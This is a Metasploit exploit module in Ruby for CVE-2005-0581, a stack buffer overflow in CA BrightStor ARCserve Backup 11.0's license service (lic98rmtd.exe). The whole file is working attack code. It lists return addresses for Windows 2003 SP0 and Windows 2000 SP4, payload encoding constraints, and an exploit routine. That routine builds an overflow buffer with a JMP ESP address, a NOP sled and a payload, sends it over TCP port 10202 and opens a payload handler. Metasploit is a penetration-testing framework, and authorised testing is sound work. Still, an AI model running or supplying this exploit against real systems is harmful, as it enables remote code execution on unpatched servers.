72 lines
2.0 KiB
Ruby
72 lines
2.0 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup 11.0.
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By sending a specially crafted request to the lic98rmtd.exe service, an attacker
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could overflow the buffer and execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: $',
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'References' =>
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[
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[ 'BID', '12705' ],
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[ 'CVE', '2005-0581' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
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],
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'DisclosureDate' => 'Mar 2 2005',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(10202) ], self.class)
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end
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def exploit
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connect
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buff = rand_text_alpha_upper(256) + [target.ret].pack('V')
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buff << make_nops(12) + payload.encoded
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# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
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sploit = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"
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print_status("Trying target #{target.name}...")
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sock.puts(sploit)
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handler
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disconnect
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end
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end
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